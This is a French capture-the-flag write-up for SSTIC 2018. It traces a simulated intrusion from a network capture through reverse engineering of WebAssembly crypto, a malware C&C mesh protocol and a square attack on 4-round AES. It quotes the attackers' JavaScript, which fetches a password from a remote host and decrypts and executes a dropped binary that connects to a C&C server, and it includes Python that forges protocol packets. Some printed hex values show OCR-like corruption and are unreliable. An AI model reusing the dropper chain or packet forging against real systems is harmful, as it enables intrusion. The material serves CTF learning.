

# Challenge SSTIC 2018

Birdynam le 25 mai 2018

```
0x6de498: 0x0000000000006de390 0x0000000000006dfd20  
0x6de4a8: 0x1d9e4d5b68a623d 0x0b7e2d0308471581  
0x6de4b8: 0x34dc58fffc45ca69c 0xe6c08ef9balf5ea5  
0x6de4c8: 0x735c123dd894f81d 0x098d132cec42cd66  
0x6de4d8: 0xdfab7d121cbd91e 0xd1323bdf6e52e52  
0x6de4e8: 0x06d7e6649098858a 0xf8ddaa8b775acd2f  
0x6de4f8: 0xcee5eff64b5e28a3 0xc3cfad1a7adeed45  
gef> x /16gx 0x0000000000006de390  
0x6de390: 0xd6fdc15eb87dc666 0x71c562c1c91cc404  
0x6de3a0: 0x5ca921da521b1858 0x53474a7dd7f006e9  
0x6de3b0: 0x0001b4b533bf57ed 0x0000000000000000  
0x6de3c0: 0x000000000000000a 0x0000000000000061  
0x6de3d0: 0x0000000000000000 0xa3bc7b7ff766badd  
0x6de3e0: 0xd1105c90bcc9deb4 0x908d2d4b6be9d49e  
0x6de3f0: 0x98cf79224ca70915 0x5fe2bab7878cb07e  
0x6de400: 0xdef7daa8c7fd5294 0xfe7f4877663d01a4  
gef> x /16gx 0x0000000000006dfd20  
0x6dfd20: 0x9960d6173d9c9c2f 0x0000000000000000  
0x6dfd30: 0x0000000000000000 0xf70ed3ea6cc46f33  
0x6dfd40: 0xb21726ba026b3341 0x2ae5659e6ec0c033  
0x6dfd50: 0xb8ad596ec3387b5b 0x4425a5adb12807f  
0x6dfd60: 0x7b952235e9dd1ec5 0x7f3725d2d79dd233  
0x6dfd70: 0x92483cfc0adf8bb68 0xa3844ffcc60dece7  
0x6dfd80: 0xaa4e295dcad46fc8 0x0000000000000000  
0x6dfd90: 0x0000000000000000 0x0000000000000000  
gef> x /16gx 0x6de490-8  
0x6de488: 0x00000000000000a1 0x0000000000000001  
0x6de498: 0x0000000000006de390 0x0000000000006dfd20  
0x6de4a8: 0x1d9e4d5b68a623d 0x0b7e2d0308471581  
0x6de4b8: 0x34dc58fffc45ca69c 0xe6c08ef9balf5ea5  
0x6de4c8: 0x735c123dd894f81d 0x098d132cec42cd66  
0x6de4d8: 0xdfab7d121cbd91e 0xd1323bdf6e52e52  
0x6de4e8: 0x06d7e6649098858a 0xf8ddaa8b775acd2f  
0x6de4f8: 0xcee5eff64b5e28a3 0xc3cfad1a7adeed45  
gef> x /16gx 0x0000000000006de390-8  
0x6de388: 0x0000000000000041 0xd6fdc15eb87dc666  
0x6de398: 0x71c562c1c91cc404 0x5ca921da521b1858  
0x6de3a8: 0x53474a7dd7f006e9 0x0001b4b533bf57ed  
0x6de3b8: 0x0000000000000000 0x000000000000000a  
0x6de3c8: 0x0000000000000061 0x0000000000000000  
0x6de3d8: 0xa3bc7b7ff766badd 0xd1105c90bcc9deb4  
0x6de3e8: 0x908d2d4b6be9d49e 0x98cf79224ca70915  
0x6de3f8: 0x5fe2bab7878cb07e 0xdef7daa8c7fd5294  
gef> x /16gx 0x0000000000006dfd20-8  
0x6fdf18: 0x0000000000000241 0x9960d6173d9c9c2f  
0x6fdf28: 0x0000000000000000 0x0000000000000000  
0x6fdf38: 0xf70ed3ea6cc46f33 0xb21726ba026b3341  
0x6fdf48: 0x2ae5659e6ec0c033 0xb8ad596ec3387b5b  
0x6fdf58: 0x4425a5adb12807f 0x7b952235e9dd1ec5  
0x6fdf68: 0x7f3725d2d79dd233 0x92483cfc0adf8bb68  
0x6fdf78: 0xa3844ffcc60dece7 0xaa4e295dcad46fc8  
0x6fdf88: 0x0000000000000000 0x0000000000000000
```

sous noeuds

noeud

maximum alloué

nombre de sous noeuds

# 1 Introduction

Cette année, j'avais prévenu femmes et enfants : "Je fais le challenge du SSTIC !". Enfin j'essaye.

Ils ont répondu "ok", je crois qu'ils n'avaient pas estimé l'ampleur de la tâche.

Moi non plus d'ailleurs...

## 2 Challenge

From: marc.hassin@isofax.fr To: j.raff@goeland-securite.fr

Bonjour,

Nous avons récemment découvert une activité suspecte sur notre réseau. Heureusement pour nous, notre fine équipe responsable de la sécurité a rapidement mis fin à la menace en éteignant immédiatement la machine. La menace a disparu suite à cela, et une activité normale a pu être reprise sur la machine infectée.

Malheureusement, nous avons été contraints par l'ANSSI d'enquêter sur cette intrusion inopinée. Après analyse de la machine, il semblerait que l'outil malveillant ne soit plus récupérable sur le disque. Toutefois, il a été possible d'isoler les traces réseau correspondantes à l'intrusion ainsi qu'à l'activité détectée.

Nous suspectons cette attaque d'être l'œuvre de l'Inadequation Group, ainsi nommé du fait de ses optimisations d'algorithmes cryptographiques totalement inadéquates. Nous pensons donc qu'il est possible d'extraire la charge utile malveillante depuis la trace réseau afin d'effectuer un « hack-back » pour leur faire comprendre que ce n'était vraiment pas gentil de nous attaquer.

Votre mission, si vous l'acceptez, consiste donc à identifier le serveur hôte utilisé pour l'attaque et de vous y introduire afin d'y récupérer, probablement, une adresse e-mail, pour qu'on puisse les contacter et leur dire de ne plus recommencer.

Merci de votre diligence,

Marc Hassin, Cyber Enquêteur Isofax SAS

Le défi consiste à analyser la compromission d'une machine depuis une capture réseau. Les traces laissées par les attaquants permettent de remonter jusqu'à leur serveur. Une adresse e-mail ( ...@challenge.sstic.org ) a été laissée sur ce serveur. À vous de la récupérer.

Des flags sont disséminés dans les différentes étapes du challenge. Ils permettent, si vous le souhaitez, d' informer les organisateurs du challenge de votre progression. Les flags doivent être envoyés à l'adresse challenge2018@sstic.org pour apparaître dans le classement intermédiaire.

Tous les flags ont le même format : SSTIC2018.... Si vous pensez avoir trouvé un flag mais qu'il n'a pas ce format, c'est que ce n'en est pas un :)

Le challenge est disponible ici :

[https://static.sstic.org/challenge2018/challenge\\_SSTIC\\_2018.pcapng.gz](https://static.sstic.org/challenge2018/challenge_SSTIC_2018.pcapng.gz)

Whouah ! Ca donne envie, ça a bien l'air cool tout ça !

## 3 Anomaly Detection

Le challenge commence par l'analyse d'une capture réseau. Aie! J'espère qu'il n'y aura pas trop de javascript...

Je commence par un filtre http, on voit pas mal de conversation en clair. Mais rien de probant encore.

Finalement avec un filtre sur du js, on aperçoit une url qui charge un fichier stage1.js. Je suis certainement sur la bonne piste.

En analysant un peu plus la capture, on découvre :



Figure 1: Filtre http




Figure 2: Filtre http

Je récupère l'ensemble des fichiers javascript, et web assembly de la capture, et monte tout ça dans un apache.

Je me suis ajouté un fichier html pour pouvoir exécuter/débogguer l'ensemble des données récupérées dans un navigateur.

```
<script type="application/javascript" src="http://localhost/stage1.js"> </script>
```

- stage1.js Ce stage télécharge les autres éléments, déchiffre payload.js, obtient un binaire (elf) puis le lance. J'ai commenté la partie exploit que je n'ai pas cherché à comprendre.

```
args = ["/tmp/.f4ncyn0un0urs", "-h", "192.168.23.213", "-p", "31337"]
decryptAndExecPayload(drop_exec);
```

- stage2.js Recupération d'un mot de passe pour déchiffrer la payload et une fonction **getFlag**.

```
-async function decryptAndExecPayload(drop_exec) {
1 | // getFlag(0xbad);
| const passwordUrl = 'https://10.241.20.18:1443/password?session=c5bfd5c-c1e3-4abf-a514-6
| c8d1cdd56f1';
4 | const response = await fetch(passwordUrl);
| const blob = await response.blob();
6 |
| const passwordReader = new FileReader();
- passwordReader.addEventListener('loadend', () => {
2 |     Module.d = d;
-         decryptData(deobfuscate(base64DecToArr(payload)), passwordReader.result).then((payloadBlob)
10 | => {
3 |     var fileReader = new FileReader();
- fileReader.onload = function() {
4 |         arrayBuffer = this.result;
- drop_exec(arrayBuffer);
4 |     };
3 |     console.log(payloadBlob);
3 |     fileReader.readAsArrayBuffer(payloadBlob);
3 | }
```

```

18| 3      });
19| 2  });
20| |  passwordReader.readAsBinaryString(blob);
21| };

```

- blockcipher.js : exposition des fonctions du wasm.
- blockcipher.wasm : code compilé contenant notamment la fonction `getFlag` et les fonctions de déchiffrement.
- payload.js : contient le binaire à déchiffrer.
- utils.js : des fonctions outils.

Evidemment quand je décommente le `getFlag(0xbad)`, je n'obtiens rien.

Bon je crois qu'il va falloir que je regarde ce qu'est le wasm. Je récupère l'outil `wabt` (<https://github.com/WebAssembly/wabt>) qui me permet de désassembler du wasm et je prend de l'information ici <https://rsms.me/wasm-intro>

J'obtiens donc un fichier `.wat`.

```

1 (export "__getFlag" (func 18))
2 (func (;18;) (type 2) (param i32 i32) (result i32)
3   ...
4     get_local 0          // place dans la pile le premier paramètre
5     i32.const 89594904 // si le premier param ne vaut pas 89594904 on sort.
6     i32.ne
7     if ;; label = @1
8       get_local 3
9       set_global 4
10      i32.const 0
11      return
12    end
13    get_local 2
14    ...

```

Donc si j'appelle la fonction avec `getFlag(0x5571c18)` j'obtiens le premier flag de l'épreuve :

SSTIC2018{3db77149021a5c9e58bed4ed56f458b7} : 04 avril 2018 à 06h42

## 4 Disruptive JavaScript

Pour le 2ème flag, on sent bien qu'il va falloir récupérer le binaire `f4ncyn0un0urs` qui provient de la payload, mais évidemment nous n'avons pas la clef.

```

1 -async function decryptAndExecPayload(drop_exec) {
2   // getFlag(0xbad);
3   const passwordUrl = 'https://10.241.20.18:1443/password?session=c5bfd5c-c1e3-4abf-a514-6c8d1cdd56f1';
4   const response = await fetch(passwordUrl);
5   const blob = await response.blob();
6
7   const passwordReader = new FileReader();
8   passwordReader.addEventListener('loadend', () => {
9     Module.d = d;
10    decryptData(deobfuscate(base64DecToArr(payload)), passwordReader.result).then((payloadBlob) => {
11      var fileReader = new FileReader();
12      fileReader.onload = function() {
13        arrayBuffer = this.result;
14        drop_exec(arrayBuffer);
15      };
16    });
17    console.log(payloadBlob);

```

```

17| 3     fileReader.readAsArrayBuffer(payloadBlob);
18| 3   });
19| 2   });
20| |   passwordReader.readAsBinaryString(blob);
21| | });
22|
23| async function decryptData(data, password) {
24|   const salt = data.slice(0, 16);
25|   let iv = data.slice(16, 32);
26|   const encrypted = data.slice(32);
27|   // *****
28|   // password dérivé en clef par PBKDF2 (1000000 tours)
29|   // *****
30|   const cipherKey = await deriveKey(salt, password);
31|   const plaintextBlocks = [];
32|
33|   // Initialisation du contexte 160 octets, la clef sera dans les 32 premiers
34|   const ctx = Module._malloc(10 * 16);
35|   const key = Module._malloc(32); -> Clef de 32 octets
36|   Module.HEAPU8.set(new Uint8Array(cipherKey), key);
37|   // La clef se retrouve dans les 32 premiers octets du contexte
38|   Module._setDecryptKey(ctx, key);
39|
40|   // cbc decryption
41|   const block = Module._malloc(16);
42|
43|   for (let i = 0; i < encrypted.length / 16; i += 1) {
44|     const currentBlock = encrypted.slice(16 * i, (16 * i) + 16);
45|     // *****
46|     // sera le prochaine IV
47|     // *****
48|     const temp = currentBlock.slice();
49|
50|     Module.HEAPU8.set(currentBlock, block);
51|     Module._decryptBlock(ctx, block);
52|     currentBlock.set(Module.HEAPU8.subarray(block, block + 16));
53|
54|     // *****
55|     // Block de 16 octets
56|     // *****
57|     const outputBlock = new Uint8Array(16);
58|     for (let j = 0; j < outputBlock.length; j += 1) {
59|       outputBlock[j] = currentBlock[j] ^ iv[j];
60|     }
61|     plaintextBlocks.push(outputBlock);
62|     iv = temp;
63|   }
64|   Module._free(block);
65|   Module._free(ctx);
66|   Module._free(key);
67|
68|   const marker = new TextDecoder('utf-8').decode(plaintextBlocks.shift());
69|   // *****
70|   // marker qui va nous servir à vérifier le bon déchiffrement
71|   // *****
72|
73|   if (marker !== '--Fancy Nounours--') {...}
74|   const plaintext = new Blob(plaintextBlocks, { type: 'image/jpeg' });
75|   return plaintext;
76| }

```

On a affaire à un algo de chiffrement par block et chainé (façon AES CBC).

On sait que "*Inadequation Group, ainsi nommé du fait de ses optimisations d'algorithmes cryptographiques totalement inadéquates*", je vais donc m'intéresser aux fonctions de crypto `_setDecryptKey` et `_decryptBlock` codées en wasm.

```

1 (export "_decryptBlock" (func 15))
2
3 (func (;15;) (type 5) (param i32 i32))

```



```

// block[0]=local2=local2 ^ context[local4 << 4]
// _____
i64.xor
tee_local 29
i64.store      // local2
// _____
get_local 6
get_local 6
i64.load
// _____
// context[8 + local4 << 4]
// _____
get_local 0
get_local 4
i32.const 4
i32.shl
i32.add
i64.load offset=8 // local0+8
// _____
// block[8]=local6=local6 ^context[8+local4 << 4]
// _____
i64.xor
tee_local 30
i64.store      // local6
// _____
// local 4 —
get_local 4
i32.const -1
i32.add
set_local 3
get_local 4
i32.const 0
i32.gt_s
if ;; label = @2
    get_local 3
    set_local 4
    br 1 (@1;) // retour debut de boucle
end
end // fin boucle
...
// _____
// block block[0]=local2
// _____
get_local 1      // block
get_local 2      // resultat dans local2
i64.load        // on le charge
i64.store        // on le place dans local1
// _____
// block block[8]=local6
// _____
get_local 28     // block[8]
get_local 6      // resultat dans local6
i64.load        // on le charge
i64.store        // on le place dans local1[8]
)

```

Après avoir à peu près compris comment ça marchait et vu l'algorithme, je suis parti sur l'idée de mettre le contexte à 0 dans la boucle de déchiffrement et observer le résultat. L'idée étant que la boucle finalement fait quelque chose comme ça :

clair[0] = chiffré[0] ^ context[144] ^ context[128] ^ context[112] ^ ... ^ context[16](octets 16–24 de la clef)
clair[8] = chiffré[8] ^ context[152] ^ context[136] ^ context[120] ^ ... ^ context[24](octets 24–32 de la clef)
plus la patouille sur local2

et qu'en mettant le contexte à 0 + les 16 derniers octets de la clef, j'obtiens plutôt un truc comme ça :

```
2 clair[0] = chiffré[0]
clair[8] = chiffré[8]
plus la patouille sur local2
```

ce qui réduit l'inconnu à 16 octets et me permet de simplifier tout ça.

Je sais que le premier block une fois déchiffré doit me donner '[-Fancy Nounours-](#)'. Je prend donc l'IV dans la payload ['2fce1ee691fd4d9ef3e7b8fa8dc36767'](#) applique le xor avec '[-Fancy Nounours-](#)' et obtiens la sortie claire de la fonction `_decryptBlock` pour le premier block :

```
In [16]: clear="" .join("%02x"%i^j) for i,j in zip(binascii.unhexlify('02887f88f2846dd09c92d695f8b1144a'), b'-Fancy Nounours-')
2 In [17]: clear
Out[17]: '2fce1ee691fd4d9ef3e7b8fa8dc36767'
```

De plus j'ai le sentiment que :

```
1 clair[i] = function chiffré[i]
plus la patouille sur local2
```

Je tente un brute force octet par octet sur les 16 premiers octets de la clef avec [16 octects clef][144 octets 0] pour contexte. C'est good ! Le premier block colle bien pour le contexte suivant:

```
var final_hex_context ="2cf5e73e0fa8632db5ddfce7a1bf9792
2 00000000000000000000000000000000
00000000000000000000000000000000
4 00000000000000000000000000000000
00000000000000000000000000000000
6 00000000000000000000000000000000
00000000000000000000000000000000
8 00000000000000000000000000000000
00000000000000000000000000000000
10 00000000000000000000000000000000
00000000000000000000000000000000"
```

Et en plus le second block me fait apercevoir le mot clef [ELF](#), ça sent bon !

J'adapte le code du javascript pour pouvoir y placer mon contexte et je laisse le truc se dérouler. Je n'y connais rien en javascript donc je fais ça en mode "grouik grouik" (== cochon) pour reprendre l'expression d'une connaissance.

```
async function decryptData(data, password) {
2   console.log(( "----- BEGIN -----"));
4   const salt = data.slice(0, 16);
let iv = data.slice(16, 32);
6   const encrypted = data.slice(32);

8   cipherKey = await deriveKey(salt, password);
const plaintextBlocks = [];

10 // initialize cipher context
12 const ctx = Module._malloc(10 * 16);
const key = Module._malloc(32);

14

16 Module.HEAPU8.set(new Uint8Array(cipherKey), key);
console.log(new Uint8Array(cipherKey))
18 const block = Module._malloc(16);

20 // Module.HEAPU8.set(new Uint8Array(cipherKey), key);
const final_result = new Uint8Array(encrypted.length);
var final_hex_context ="2cf5e73e0fa8632db5ddfce7a1bf9792
```

```

24          000000000000000000000000000000000000000000
26          000000000000000000000000000000000000000000
28          000000000000000000000000000000000000000000
30          000000000000000000000000000000000000000000
32          000000000000000000000000000000000000000000
34          000000000000000000000000000000000000000000"
36      final_context = unhexlify(final_hex_context);
38
39      for (let i = 0; i < encrypted.length / 16; i += 1) {
40          const currentBlock = encrypted.slice(16 * i, (16 * i) + 16);
41
42          const temp = currentBlock.slice();
43
44          Module.HEAPU8.set(currentBlock, block);
45          Module.HEAPU8.set((final_context), ctx);
46
47          Module._decryptBlock(ctx, block);
48
49          currentBlock.set(Module.HEAPU8.subarray(block, block + 16));
50          const outputBlock = new Uint8Array(16);
51          for (let j = 0; j < outputBlock.length; j += 1) {
52              outputBlock[j] = currentBlock[j] ^ iv[j];
53          }
54
55          for (var tt = 0; tt < 16; tt++) {
56              final_result[tt + (i * 16)] = outputBlock[tt];
57          }
58      }
59
60      plaintextBlocks.push(outputBlock);
61
62      iv = temp;
63
64  }
65
66  Module._free(block);
67  Module._free(ctx);
68  Module._free(key);
69
70  const marker = new TextDecoder('utf-8').decode(plaintextBlocks.shift());
71
72  if (marker !== '-Fancy Nounours-') {
73      return null;
74  }
75
76  // console.debug(plaintextBlocks)
77
78  const plaintext = new Blob(plaintextBlocks, {
79      type: 'image/jpeg'
80  });
81
82
83  // Et oui quand on ne sait pas comment faire pour sauver un buffer quelque part en javascript
84  // bein on improvise.
85  // En face je me suis mis un nc -lvp 8080 > /tmp/sstic.bin
86  // Un fois virée l'entête http et les 16 premiers caractères de '-Fancy Nounours-' j'ai mon binaire
87  var xhr = new XMLHttpRequest();
88  xhr.open("POST", "http://localhost:8080", true);
89  // xhr.setRequestHeader('Content-Type', 'application/octet-stream');
90  xhr.send(final_result);
91
92  return
93
94
95  return plaintext;
96

```

Un petit :

```

1 /tmp    file sstic.bin
2   sstic.bin: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux
3     3.2.0, BuildID[sha1]=dec6817fc8396c9499666aeeb0c438ec1d9f5da1, not stripped
4

```

```
5 | /tmp    strings sstic.bin | grep SST
SSTIC2018{f2ff2a7ed70d4ab72c52948be06fee20}
```

et j'ai mon 2ème flag:

SSTIC2018{f2ff2a7ed70d4ab72c52948be06fee20} : 15 avril 2018 à 20h28

## 5 Battle-tested Encryption

On est le 28 avril, je suis en congé, seul. J'avais jeté un oeil au binaire rapido au flag2, mais rien depuis. J'attaque par 6 heures de reverse du binaire, pour finalement commencer à comprendre comment tout ça marche. En gros, on a affaire à un binaire qui permet de monter un réseau mesh. Plusieurs configurations possibles permettent de définir ce que sera le binaire une fois lancé :

- Un serveur Commande et Control (sandboxé par seccomp)
- Un noeud/passerelle
- Un sous noeud



Figure 3: Réseau mesh

En plus,

- J'ai repéré que les fonctions **rijndaelDecrypt** et **rijndaelEncrypt** sont appelées avec un nombre de tour de 4 !
- J'ai repéré que finalement parmi les 32 octets tirés pour la clef AES, seuls 16 octets étaient utilisés.

### 5.1 protocol

#### 5.1.1 noeud<->C&C

- Chacun envoie sa clef publique sans exponent (exponent en dur 0x10001)
- Chacun tire une clef AES de 32 octets.
- Chacun envoie sa clef AES chiffrée par la clef publique de l'autre.
- Chacun chiffre les messages avec la clef AES de l'autre et fournit l'IV utilisé.

- Chacun déchiffre les messages avec sa clef AES.
- Le noeud envoie son premier message pour indiquer son identifiant (ie. le peer qu'on retrouve dans les routes)

### 5.1.2 sous noeud<->noeud

- Chacun envoie sa clef publique sans exponent (exponent en dur 0x10001)
- Chacun tire une clef AES de 32 octets.
- Chacun envoie sa clef AES chiffrée par la clef publique de l'autre.
- Chacun chiffre les messages avec la clef AES de l'autre et fournit l'IV utilisé.
- Chacun déchiffre les messages avec sa clef AES.
- Le client envoie son premier message pour indiquer son identifiant (ie. le peer qu'on retrouve dans les routes)
- Le noeud relay le message au C&C en ajoutant son identifiant en plus, pour lui indiquer la route à prendre pour un sous-noeud.
- Le noeud envoie sa table des connexions au sous-noeud.
- Si le noeud se déconnecte, le sous noeud ira se connecter au C&C.

### 5.1.3 paquets

Si on en revient au JavaScript, on se souvient que le stage1, une fois fait son boulot, lance le binaire en question (`args = ["/tmp/.f4ncyn0un0urs", "-h", "192.168.23.213", "-p", "31337"]`).

Allons voir niveau trace wireshark :

- Un filtre `tcp.port==31337 and ip.dst==192.168.23.213` nous donne l'échange de la machine victime vers le serveur ou la passerelle
- Un filtre `tcp.port==31337 and ip.dst==192.168.231.123` nous donne l'échange de la machine passerelle ou serveur vers la machine victime

Une fois la communication établie, les paquets sont échangés en 2 envois et 2 réceptions

- Un paquet contenant la taille du paquet qui va arriver (qword)
- Un paquet contenant les données de la taille indiquée au paquet précédent, contenant l'IV utilisé en tête.  
Exemple de paquet en clair:

```
// ****
// le paquet au final doit avoir une taille modulo 16
// ****
4 def build_id_pck(node_id, aes_server_aes_key):
    size = 0x40
    size = struct.pack("<I", size)
    // Entete du paquet
8    data= struct.pack("<Q", 0xd1d3c0de41414141)
    // babar007
10   data += struct.pack("<Q", 0x3730307261626162)
    // id du noeud
12   data += struct.pack("<Q", node_id)
    data += struct.pack("<Q", 0x0000000000000000)
14   // taille du paquet + entete + type de message
    data += struct.pack("<Q", 0x0000002800010000)
16   data += struct.pack("<Q", 0x0000000000000000)
    print "[+] Id packet : ", (data)
18   data=cipher_packet(data,aes_server_aes_key)
    return (size,data)
20
21 def build_subid_pck(node_id,subnode_id,aes_server_aes_key):
    size = 0x40
    // Entete du paquet
24    size = struct.pack("<I", size)
    data= struct.pack("<Q",0xd1d3c0de41414141)
    data += struct.pack("<Q", 0x3730307261626162)
```

```

28    // id du sous noeud
29    data += struct.pack("<Q", subnode_id)
30    // id du noeud/passerelle
31    data += struct.pack("<Q", node_id)
32    // taille du paquet + type de message
33    data += struct.pack("<Q", 0x0000002800010000)
34    // data
35    data += struct.pack("<Q", 0x0000000000000000)
36    print "[+] Id packet : " , (data)
37    data=cipher_packet(data ,aes_server_aes_key)
38    return (size ,data)

```

Exemple d'échange chiffré:




Figure 4: Paquet taille




Figure 5: Paquet donnée

## 5.2 AES

J'avais repéré sur le chiffrement et déchiffrement AES que l'algo n'utilisait que 4 tours. Je me souviens avoir vu que AES normalement devait être implémenté avec 10 tours pour une clef de 16 octets. De là, s'en suit pas mal de recherche sur internet, pour finalement en extraire la **square attack**.

L'idée étant que AES sur 4 tours et un échantillon de 256 blocks de données chiffrées, dont le clair n'évolue que sur un octet permet de récupérer la clef AES. On trouve l'implémentation de cette attaque en python ici [https://github.com/p4-team/ctf/tree/master/2016-03-12-0ctf/people\\_square](https://github.com/p4-team/ctf/tree/master/2016-03-12-0ctf/people_square)

Je suis maintenant certain que c'est ce que je dois faire car dans le protocol d'échange entre les noeuds/sous noeud/c&c les 16 premiers octets de chaque paquet sont xorés avec un IV qui démarre à 0.

```
1 Entête de paquet :  
import struct  
3 data = struct.pack("<Q", 0xd1d3c0de41414141)  
data += struct.pack("<Q", 0x3730307261626162)  
5 data -> b'AAAA\xde\xc0\xd3\xd1babar007'  
IV -> b'00000000000000000000000000000000'  
7  
data -> b'AAAA\xde\xc0\xd3\xd1babar007'  
IV -> b'00000000000000000000000000000001'  
9  
11 data -> b'AAAA\xde\xc0\xd3\xd1babar007'  
IV -> b'00000000000000000000000000000002'  
13  
15 ...  
17 data -> b'AAAA\xde\xc0\xd3\xd1babar007'  
IV -> b'0000000000000000000000000000000FF'
```

Ce qui me met dans les bonnes conditions. Si j'ai assez de paquets dans wireshark, j'ai mon échantillon. Ce sera le cas.

Maintenant je dois donc :

- extraire les paquets envoyés par l'attaquant à la victime, pour obtenir la clef AES de la victime.
- extraire les paquets envoyés par la victime à l'attaquant, pour obtenir la clef AES de l'attaquant.

J'extrais donc 2 sous ensembles de la capture wireshark :

- `tcp.port==31337 and ip.src==192.168.23.213` pour le serveur, clef victime
- `tcp.port==31337 and ip.src==192.168.231.123` pour la victime, clef serveur

Je parse chacun de ces échantillons pour récupérer mon jeux de 256 blocks chiffrés. Il suffit de récupérer le premier block après chaque IV.




Figure 6: Paquet donnée

Cela me donne coté victime (colonne gauche), pour la clef server, et coté attaquant (colonne droite) pour la clef victime :

```

'00ae0d3ead0ff9d598c513d69f6fc1b', *****, '23253ba6e5665b69edda5eb312fa6999',
2 'b90f8fb57d37ab6aed53e0032ad04e95', *****, '924c1b6eb59e594cf35cf34611aff9d',
3 'b98612cf8e3bc0a60bd65e494e8c0c33', *****, 'cb5a34bbe5e44f56135552ba0b4994f0',
4 'd568edb7b1755fa9656b934e6b59748', *****, 'c88d5b8835e7368cac19ed7a6bbb29d6',
5 'aba648e3e6f7e415833a32eb1b6642b0', *****, '1085a7f192515df54fbfd8a932636e',
6 'eedea3f9bf03505cc5e6f1a3f053c7b7', *****, '9fd12bdd1b015523b7170b4f98f8b99c',
7 '3f8fdfdb486125582b2b6edb3209c12e', *****, '80cf5d8ccfb02d39fc3175490a144ce',
8 'e1d4f932f3968fd6fcdff63d4e27a302', *****, 'f5b4d5db952ddc70ad6be3345b959a0f',
9 '988a74cc99b8ccf235217bba395daf3d', *****, '81fa70e7f4ccf751cd3bc62904538fec',
10 '00e1478433c907b76b4a2080f1ab8060', *****, '96f4fa5657bbe8a7dd9ef2112462b141',
11 'a884efdade547ff8f640d785107991399', *****, '11b33997d0ac7e8d94502f04c61b1f4c',
12 '5be78527e15d923fce8587285c1577cc', *****, '808cd06f60b022360df73a03f1f1297a',
13 '1bb86bef7e6da86c6ab2f79aba473f33', *****, 'ad9603221c0d10482fa5ea298e93d13a',
14 'b2dd257c1e26cae69b3c6cc059e0e71', *****, 'bd12648fd399535ef5488a81242a4410',
15 '8899b26789305d520049751834bdb671', *****, 'b2586a8ebcbc0ce6d74d437094240d15',
16 'c9a246d6321baf29f4d42952c0239f08', *****, 'ff34161307900494907737858df7958f',
17 'bb8aa3006bcfa10ef623c86a00a861a', *****, '4faa95d91ae83ef47cc93b7b14aebe3f',
18 '309cc77816e52c071868986f81dc07a9', *****, 'd9987d0fc677a02458aff5c0d38233d1',
19 '5bcd8e58388f8ff351f436f3429b1781', *****, 'fd1c4909211b68ed9502d6dd3c057821',
20 'e577661fb07a8477cd173469d2decf2', *****, 'f55396f5c53b6e4475f9915e8572b9e1',
21 '5b0530b920d724880bbe5c86b3ae7393', *****, 'c80d9a5ea8430365b18a29a73e4365f4',
22 '44fdb91e0d349b901d0296c059ab2954', *****, 'd55a2d72f3994ccdaba30eeb5674f1f',
23 '62e4b483d341b96af741a76b985ad7d4', *****, 'b56e155eb8b4fd513ed5924a5152e5a',
24 '376b584546087b2c0928bafcf45808b9', *****, '380b0b81ed65f58a67aa38377965a7c6',
25 '05bf7a0efabfc9b18cadb7c5eaa48a0a', *****, '6786be02797241126c730dd7a487ed3a',
26 '85aefbd647194996243fc1a34e95b778', *****, 'd4316eceff16f81dd1907165427bf961',
27 '928add2451942a5e016316bd7b0840a6', *****, '963fe7c139ec281dec83c78a2ff9c319',
28 '041ae09096396121377ab5b15e4d4883', *****, 'e69a85d0e2485c2ce446f747cf4aa194',
29 'd65c9f36a07c32563f6ec778a76df0ee', *****, '75f8eccdfa5098c44b2aae9bc8ae0481',
30 '74739176a5d4821e7ba230c6fd7d50fc', *****, 'ef1f9b7e01d17868791670db61758055',
31 'b05a7cf636be076dad660039b7c4652a', *****, '30c88bf204c62f2f3870199a55f994a4',
32 '81a0762b24bbac134810f6c1b1090a54', *****, '9f47d389b8f5c48f554b78dc8da90abb',
33 '62db5f4819e9f693c633cc8a1be178d2', *****, 'cec4d8ed83d0f2022acd2a7a83bc8353',
34 '7e05c197907b755287acd20194bc48d7', *****, 'fc03d55124f59ee471e05270e102f502',
35 'f093eaff88d9d691614002583f78400d', *****, 'fc7d31c9e312bb59e871f850ab623d75',
36 'f5c86ade169e41f6658b845668803c43', *****, '7c0fcce2d38032a7d267edadf106ccb3b',
37 'a9b06f6f05b56ab3c986f9255a7ed266', *****, 'ad62ce53514cf8a8b7c795a3ae8742bf',
38

```

```

38 '8ac39824601ed09c90bbe8964630b099',*****'e1d73e14a3212c035b5e331aed17ec0c',
39 'dd20b9009b08a186473c2f73654a94bb',*****'33e83abc55005cc014f77a409917b6c1',
40 '7ddd9d29256c2fc9c4ae227ea7420fb7',*****'b0ed1fd7626ded895d893caed448b514',
41 '72495955e27c82a63b251dde42e43a1b',*****'575d812939e6c602aa1c9d0cd1366816',
42 'f8602b108cb39aa8e69cba82a3355be6',*****'50d91f01583ce54b28bff4ce0625f021',
43 '343419d51367642210a33fd7e8a903d1',*****'908730a2e50128e4623f2d042d674c00',
44 'a3af0a445a2a867729864a99c5cfce39',*****'05ffcd516cd42df60c4b8b8e30ee47e',
45 '06fccef791a0f52d163654057e098800',*****'364ce618f98bb3aa5b2e6768e8f76fc5',
46 '3c1ed04781ecaf97077f9f7e73920380',*****'4a90e6011ae228221ce93c7cfbb5a164',
47 'e46cc1f725487a07270e9c298dce9365',*****'2b8e15eea9e236aa6028f7c2ea8efedd',
48 '66909e42c5052567fb85936cafbd4c82',*****'7016ae43fb7f3adaf9c7dbcdf0dce5a0',
49 '6bf82c73b978272924fe34ad0b2bcb58',*****'0645549e0865082d6672ff523b77a752',
50 'e04a48236a4716b6bce66b7a9c54b52f',*****'9ff05db03e30f2d1913c6033c7061ad1',
51 '306ef183ba628dc1c6de6c9d22f0ee03',*****'53f7a709ab0170c492538272e9618f7a',
52 'e6a432ca6a5a0ba002cc74f278d82dd2',*****'75a25b9053cb3b2ba9b93a6e89cb8af4',
53 'e3b1cacd8df094a6b1d1fce4cb538274',*****'ea38c0f021a2285efc3a241adff4343f',
54 'b12d590840d2e4c35e28d234a65a6396',*****'e9ebf33a4d2e075dfab7117d8a1cbaa5',
55 '22d41a2278ba9e7746acc3627faadbc',*****'c08021c2bece4832e5cfa88fa3c0b389',
56 'fab46b4ba7474e9bf9648eaf4f6f5b38',*****'58620893399d052afa22d2595d07f699',
57 'ddf43d7f4db7dd848c21ccaa86e1922',*****'809464bd2afc03e9292e995a3eb42fd6',
58 '178b0087009d807a2df5acc0187e8139',*****'1a32815d07cc7922c4e882dab21f22f5',
59 '678f0b4188ab7dfd99c367b73ee6a23e',*****'e8c47134d431eae80e01269dad18a5d1',
